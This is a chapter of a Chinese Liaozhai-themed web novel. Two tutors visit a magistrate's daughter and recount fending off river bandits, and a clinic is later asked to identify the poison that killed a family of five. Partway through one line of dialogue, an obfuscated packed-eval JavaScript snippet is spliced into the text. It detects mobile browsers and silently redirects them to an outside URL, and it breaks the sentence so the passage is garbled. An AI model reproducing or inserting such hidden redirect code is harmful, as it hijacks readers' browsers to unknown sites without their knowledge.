132.中毒
作品:《[聊斋]季甜的聊斋日常》 这院子再怎么说也不小,却能打理得这样干净,青石铺的地面扫得一尘不染,连地上的落叶都不见,不像是疏于照顾的样子,但要维持这样的状态,又少不了人。但见县令千金衣服干净,手上细腻,做活的肯定必定不是她。
这就奇怪了,难不成是县令大人百忙之中自己清理的吗?
想不通,不过既然谢姐姐在身边,她跟紧就是了。
两位女子就这样谨慎的看着周围的细节,跟季甜穿过前院。
季甜带人进了厅堂,见桌上已经摆好一壶热茶,还有三个干净的茶杯,不由心下暗赞,景玉总是这样贴心周到。
年长的女子扫过季甜和茶壶,将肩上的包裹放在桌上,包裹里面的物品碰撞,发出“叮当”的脆响,像是金属碰撞的声音。
季甜好奇地看过去,那包裹不长,却沉甸甸的,从形状上看,里面似乎是长条形状的物件。
“谢先生,”季甜想起季怀真提前关于两位先生的介绍,“您这包里是……”
“防身的东西。”谢眠淡淡地回答,并不打算细说。
但季甜话语不停,她的目光留恋在那里,“是兵器吧?父亲说你们路上遇上了水匪。”
谢眠看了她一眼,眼里闪过一丝意外,没想到一个父亲竟然会对年幼的孩子说这么多,而且看她待客的样子,胆子似乎也不小。
“不过是些宵小之徒,不值一提。”谢眠还是轻描淡写。
谁知旁边的年轻女子忍不住开口了,声音里带着由衷的钦佩,“谢姐姐太谦虚了,那天晚上我们的大船行到黑处,突然冲出两三条小船,都是拿着刀的水匪,往我们这里爬,几下功夫就要登船,船家吓得腿都软了,只有谢姐姐,”她看向谢眠,眼睛里尽是崇拜,“她解开包裹,取出那三截铁棒,‘唰唰’几下就组成了一柄长枪,她站在船头,那些水匪刚跳上船板,就被她一枪一个挑下水去,那枪舞起来,真是飒飒生风。”
与她哀愁的气质不同,年轻女子讲起话来感情充沛,只是那眼睛还是雾气蒙蒙,如果不听她说话的声音,光看面容,倒像是在撒娇一般。
季甜听得入神,脑海里已经浮现出画面:月下的江面,女子持枪而立,衣袂翻飞,水匪们哀嚎着被打得落花流水……
她激动得给这位叫余夏的年轻先生也倒了杯茶水放过去。
“余教习说得太夸张了。”谢眠看着很不适应余夏的夸奖,但唇角却微微上扬,看着又不太讨厌,“只是防身罢了。”
“那后来呢?”季甜追问。
“后来船家感激不尽,免了我们的船资。”谢眠端起茶杯吹了吹,没有入口,这茶水滚烫,倒像是刚烧好。
可看季甜的样子也不过将将起床,又是谁烧得这水呢?
谢眠想起季甜说话时候的不自然,猜测这府里一定还有一个不能露面的人。
季甜:“可信里不是说……”
“是啊,哪里有这样简单,”余夏被茶杯烫了一下,缩回手,“谢姐姐舞枪自是没人敢近身,所以他们就看上了别处,船舱里都是好东西……连我也是,要不是谢姐姐最后勾住我,恐怕我也不能活着到这里了。”
“对,都那样了,还要念叨你被抢走的宝贝。”谢眠嘴角抽了抽,没好气的说,本来这也不是什么好事,不说还免得被人议论。
季甜现在对宝贝这个词过敏,她立即望向余夏,“什么宝贝?”
“一把旧琴罢了。”余夏面容惆怅,“虽然它漆面都有些皲裂,纹路模糊粗糙,琴弦也不知道换了多少次,声音也发散、发闷……但那是我在教坊里得了名次,拥有的第一个奖赏。”
唔,语气上很是嫌弃,但看她的眼睛,又像是爱得深沉,看来余先生喜爱的不仅仅是那把琴,还是往日的时光,季甜也稍微有点能理解王五了,那根笔,估计是王五以前短暂拥有过的,读书的机会吧。
谢眠看了一眼余夏,没有拆穿她,余夏哪里是为了琴,只是琴囊里还藏着她积攒下来的赏钱罢了。
季甜还想再跟两位先生聊聊,谢眠已经站起身,“季姑娘,令尊在信中说已经为我们安排了住处,不知在何处?我们的行李还在客栈,想先去安顿下来,明日再正式授课。”
明天?
季甜睁大了眼睛,她还没有做好准备!
但谢眠已经在往外走了。
“我也不知道父亲具体的打算,不过我可以先送两位先生到县衙前面去找父亲。”季甜隐约听过季怀真说是个独门小院,但具体在哪条街确是不清楚。
“我们
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121296|179912||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自去便是,反正不远,你家里没有长辈,别人敲门,还是不要随便开。”谢眠阻止了季甜陪她们出门的行动。
以后授课也是,由她们上门授课,到季怀真下值回来,她们也自会归家。
季甜张了张嘴,没有坚持,然而等两人一走,她就锁了门,拐到街上买了两个热乎乎的烧饼,揣到怀里,往医馆走去。
此刻郁闷的她也不想什么小姑娘了,现在她自己也难保,反正父亲什么都能搞定,还是等他什么时候跟王家签了契,再送旧衣过去吧。
医馆里的气氛比昨天更加紧张。
季甜一进门,就看见采薇和采萍在院子里烧着热水,分了好几个炉子,她大致瞥了下,有个里面煮着一些刀具和银针,另一个煮着带血的布条。
“季甜。”采薇抬头打了个招呼,眼圈红红的,像是哭过。
“里面怎么样了?”季甜小声问。
内室里帘子拉着,白术和白爷爷都在里面忙活,只能看到两人来回走动的身影。
采薇摇摇头,声音哽咽,她还是第一次见到这样重的伤,“眼球取出来了,但伤口太大,一直渗血,白爷爷用银针封了穴道,也敷上了药,可、可那姑娘一直发烧……说胡话。”
季甜心里一沉,她走到门边,担忧地看着里面,原本要吃的烧饼也没了胃口。
就在这时,医馆外面又传来急促的脚步声。
是衙门的差役,还是昨天那两个,只是他们今天的脸色更加难看,其中一个还拎着食盒。
“白大夫!”率先进门的那个张口就喊,“快快快,有事找你。”
内室里窸窣一阵,接着有脚步声响起,白术脸上带着疲倦和不耐,“怎么了,昨天的事不是都问过了吗?如果要证物,我给你就是。”
说着,她就要转身,结果被差役连连喊住,“不不不,是另一个案子。更严重,城西的槐树巷,一家五口,全死了。”
医馆里顿时一片寂静。
“人都死了,找我干嘛?”白术面色不好。
“仵作验出是中毒死的,却不知道是什么毒,”那个拎着食盒的差役终于赶了过来,“这是他们家昨晚的饭菜,县尉大人让我们拿来请您瞧瞧。”
他现在也没心思称呼尉爷了。

